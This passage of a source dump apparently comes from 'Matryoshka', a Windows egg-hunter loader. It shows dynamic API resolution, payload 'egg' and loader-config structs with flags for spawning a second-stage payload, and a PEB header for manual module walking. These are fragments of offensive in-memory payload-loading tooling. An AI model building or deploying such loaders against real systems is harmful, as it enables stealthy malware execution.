274 | state->runtime.VirtualQuery = state->runtime.GetProcAddress(kernel32, VirtualQueryStr);
275 | if (state->runtime.VirtualQuery == NULL) {
276 | debug("[-] Unable to resolve address of VirtualQuery\n");
277 | return FALSE;
278 | }
279 |
280 | return TRUE;
281 | }
--------------------------------------------------------------------------------
/src/Matryoshka/Matryoshka/matryoshka.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
5 | #include "funcs.h"
6 |
7 | #define MATRYOSHKA_CONFIG_MAGIC 0xC0FFEE
8 | #define MATRYOSHKA_EGG_MAGIC 0xFEEDFACE
9 |
10 | typedef struct {
11 | DWORD magic; /// magic bytes used to identify the egg
12 | DWORD egg_size; /// size of the included egg/payload
13 | BYTE stage[]; /// stage to execute
14 | } matryoshka_egg_t;
15 |
16 | typedef struct {
17 | union {
18 | WORD bitmap; /// full bitmap of flags
19 | struct {
20 | unsigned int spawn_new_thread : 1; /// spawn the second-stage payload in a new thread
21 | unsigned int reserved2 : 1; /// TODO: flag to allocate RX instead of RWX memory
22 | unsigned int reserved3 : 1; /// TODO: check if process is in high integrity mode and exit
23 | unsigned int reserved4 : 1;
24 | unsigned int reserved5 : 1;
25 | unsigned int reserved6 : 1;
26 | unsigned int reserved7 : 1;
27 | unsigned int reserved8 : 1;
28 | unsigned int reserved9 : 1;
29 | unsigned int reserved10 : 1;
30 | unsigned int reserved11 : 1;
31 | unsigned int reserved12 : 1;
32 | unsigned int reserved13 : 1;
33 | unsigned int reserved14 : 1;
34 | unsigned int reserved15 : 1;
35 | unsigned int reserved16 : 1;
36 | };
37 | };
38 | } matryoshka_loader_flags_t;
39 |
40 | typedef struct {
41 | DWORD magic; /// magic bytes for the configuration file
42 | BYTE egg_pattern[8]; /// pattern to search for to identify the egg in-memory
43 | matryoshka_loader_flags_t flags; /// loader flags used to specify optional loader behavior
44 | } matryoshka_loader_config_t;
45 |
46 | typedef struct {
47 | CreateThread_T CreateThread;
48 | GetLastError_T GetLastError;
49 | GetProcAddress_T GetProcAddress;
50 | IsBadReadPtr_T IsBadReadPtr;
51 | LoadLibrary_T LoadLibrary;
52 | VirtualAlloc_T VirtualAlloc;
53 | VirtualQuery_T VirtualQuery;
54 | } matryoshka_runtime;
55 |
56 | typedef struct {
57 | matryoshka_runtime runtime;
58 | } matryoshka_state;
59 |
--------------------------------------------------------------------------------
/src/Matryoshka/Matryoshka/peb.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
5 | typedef struct _UNICODE_STR
6 | {
7 | USHORT Length;
8 | USHORT MaximumLength;
9 | PWSTR pBuffer;
10 | } UNICODE_STR, * PUNICODE_STR;
11 |
12 | typedef struct _LDR_DATA_TABLE_ENTRY
13 | {
14 | LIST_ENTRY InMemoryOrderModuleList;
15 | LIST_ENTRY InInitializationOrderModuleList;
16 | PVOID DllBase;
17 | PVOID EntryPoint;
18 | ULONG SizeOfImage;
19 | UNICODE_STR FullDllName;
20 | UNICODE_STR BaseDllName;
21 | ULONG Flags;
22 | SHORT LoadCount;
23 | SHORT TlsIndex;
24 | LIST_ENTRY HashTableEntry;
25 | ULONG TimeDateStamp;
26 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
27 |
28 | typedef struct _PEB_LDR_DATA
29 | {
30 | DWORD dwLength;
31 | DWORD dwInitialized;
32 | LPVOID lpSsHandle;
33 | LIST_ENTRY InLoadOrderModuleList;
34 | LIST_ENTRY InMemoryOrderModuleList;
35 | LIST_ENTRY InInitializationOrderModuleList;
36 | LPVOID lpEntryInProgress;
37 | } PEB_LDR_DATA, * PPEB_LDR_DATA;
38 |
39 | typedef struct _PEB_FREE_BLOCK
40 | {
41 | struct _PEB_FREE_BLOCK* pNext;
42 | DWORD dwSize;
43 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
44 |
45 | typedef struct __PEB
46 | {
47 | BYTE bInheritedAddressSpace;
48 | BYTE bReadImageFileExecOptions;
49 | BYTE bBeingDebugged;
50 | BYTE bSpareBool;
51 | LPVOID lpMutant;
52 | LPVOID lpImageBaseAddress;
53 | PPEB_LDR_DATA pLdr;
54 | LPVOID lpProcessParameters;
55 | LPVOID lpSubSystemData;
56 | LPVOID lpProcessHeap;
57 | PRTL_CRITICAL_SECTION pFastPebLock;
58 | LPVOID lpFastPebLockRoutine;
59 | LPVOID lpFastPebUnlockRoutine;
60 | DWORD dwEnvironmentUpdateCount;
61 | LPVOID lpKernelCallbackTable;
62 | DWORD dwSystemReserved;
63 | DWORD dwAtlThunkSListPtr32;
64 | PPEB_FREE_BLOCK pFreeList;
65 | DWORD dwTlsExpansionCounter;
66 | LPVOID lpTlsBitmap;
67 | DWORD dwTlsBitmapBits[2];
68 | LPVOID lpReadOnlySharedMemoryBase;
69 | LPVOID lpReadOnlySharedMemoryHeap;
70 | LPVOID lpReadOnlyStaticServerData;
71 | LPVOID lpAnsiCodePageData;
72 | LPVOID lpOemCodePageData;
73 | LPVOID lpUnicodeCaseTableData;
74 | DWORD dwNumberOfProcessors;
75 | DWORD dwNtGlobalFlag;
76 | LARGE_INTEGER liCriticalSectionTimeout;
77 | DWORD dwHeapSegmentReserve;
78 | DWORD dwHeapSegmentCommit;
79 | DWORD dwHeapDeCommitTotalFreeThreshold;
80 | DWORD dwHeapDeCommitFreeBlockThreshold;
81 | DWORD dwNumberOfHeaps;
82 | DWORD dwMaximumNumberOfHeaps;
83 | LPVOID lpProcessHeaps;
84 | LPVOID lpGdiSharedHandleTable;
85 | LPVOID lpProcessStarterHelper;
86 | DWORD dwGdiDCAttributeList;
87 | LPVOID lpLoaderLock;
88 | DWORD dwOSMajorVersion;
89 | DWORD dwOSMinorVersion;
90 | WORD wOSBuildNumber;
91 | WORD wOSCSDVersion;
92 | DWORD dwOSPlatformId;
93 | DWORD dwImageSubsystem;
94 | DWORD dwImageSubsystemMajorVersion;
95 | DWORD dwImageSubsystemMinorVersion;
96 | DWORD dwImageProcessAffinityMask;
97 | DWORD dwGdiHandleBuffer[34];
98 | LPVOID lpPostProcessInitRoutine;
99 | LPVOID lpTlsExpansionBitmap;
100 | DWORD dwTlsExpansionBitmapBits[32];
101 | DWORD dwSessionId;
102 | ULARGE_INTEGER liAppCompatFlags;
103 | ULARGE_INTEGER liAppCompatFlagsUser;
104 | LPVOID lppShimData;
105 | LPVOID lpAppCompatInfo;
106 | UNICODE_STR usCSDVersion;
107 | LPVOID lpActivationContextData;
108 | LPVOID lpProcessAssemblyStorageMap;
109 | LPVOID lpSystemDefaultActivationContextData;
110 | LPVOID lpSystemAssemblyStorageMap;
111 | DWORD dwMinimumStackCommit;
112 | } _PEB, * _PPEB;
--------------------------------------------------------------------------------